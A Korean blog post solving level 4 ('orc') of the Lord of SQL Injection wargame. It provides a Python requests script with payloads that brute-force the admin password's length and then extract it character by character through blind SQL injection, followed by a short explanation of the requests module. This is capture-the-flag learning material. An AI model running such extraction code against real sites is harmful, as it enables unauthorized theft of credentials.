본문 바로가기
Web Hacking/LOS (sql injection)

Lord of SQL Injection 4단계, orc 풀이 + Python code

by 코뮤(commu) 2020. 3. 22.
728x90
반응형

 

 

 

 

 

 

 

 

 

 

 

오늘 포스팅은 예전에 했었던 Lord of SQL Injection 4단계를 다시 한번 풀어보도록 하겠습니다.

 

 

제가 그 글을 쓸 당시에는 Python을 전혀 몰라서 Blind SQL을 하나하나 노가다 하면서 풀었었는데,

이번에는 Python을 이용해서 쉽게 풀어보도록하겠습니다.

 

 

 

 

 

los 4번 orc 문제입니다.

 

파이썬을 사용하지 않고 하나하나 푸는 방법은 이 카테고리 4번째 글에 있습니다.

 

 

이 포스팅은 파이썬 코드짜는 것을 연습했고, 그것을 기록하는 포스팅이기 때문에

파이썬코드만 바로 보실게요.

 

 

 

 

 

 

 

 

 

import requests
url ='https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php' #url 주소 입력
cookies = {'PHPSESSID': ''} # 세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value ="'or id='admin' and length(pw)= {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params={'pw' : value}
        response = requests.get(url,params=params,cookies=cookies)
        if("Hello admin" in response.text):
            print("길이는? =",pw_len)
            break
        print("시도중 입니다!:",pw_len)
    return pw_len


def find_pw():
    pw_len=find_pw_len()
    string=''
    for pw_value in range(1,pw_len+1):
        for ascii in range(48,122):
            value ="'or id='admin' and ascii(substr(pw,{},1))= {}#".format(pw_value,ascii)
            params = {'pw': value}
            response = requests.get(url, params=params, cookies=cookies)
            if("Hello admin" in response.text):
                string =string + chr(ascii)
                print("pw의 값은!",string)
                break
find_pw()

 

 

 

 

 

 

 

 

 

 

소스를 조금 더 자세히 들여다보겠습니다.

 

제일 먼저 한것은 requests를 import 한 것 인데요.

 

 

 

 

 

Requests

 

 

 

requests 는 파이썬에서 HTTP requests(요청) 하는 모듈입니다.

 

 

 

 

response = requests.get(url,params=params,cookies=cookies)

 

 

requests 모듈을 사용하면 url과 params, cookies, header, timeout 등을 서버에 보낼 수 있습니다.

 

 

 

 

 

 params={'pw' : value}

 

 

자료형이름 = { '파라미터' : ' 값 ', ' 파라미터2 ' : '값 2' ....} 

 

과 같은 형태로 파라미터를 생성하여 보내줄 수 있습니다.

 

 

 

 

 

자주 사용하는 기능

 

 

 

response.status_code  :  응답코드를 돌려줍니다.

response.url  :  요청한 url을 확인 할 수 있습니다.

response.request  :  request 객체에 접근할 수 있습니다.

 

 

 

 

 

 

 

 

 

다음 포스팅은 다른 blind injection 문제를 대상으로 한

파이썬 코드글로 돌아오겠습니다!!

 

 

 

 

 

 

 

 

 

728x90
반응형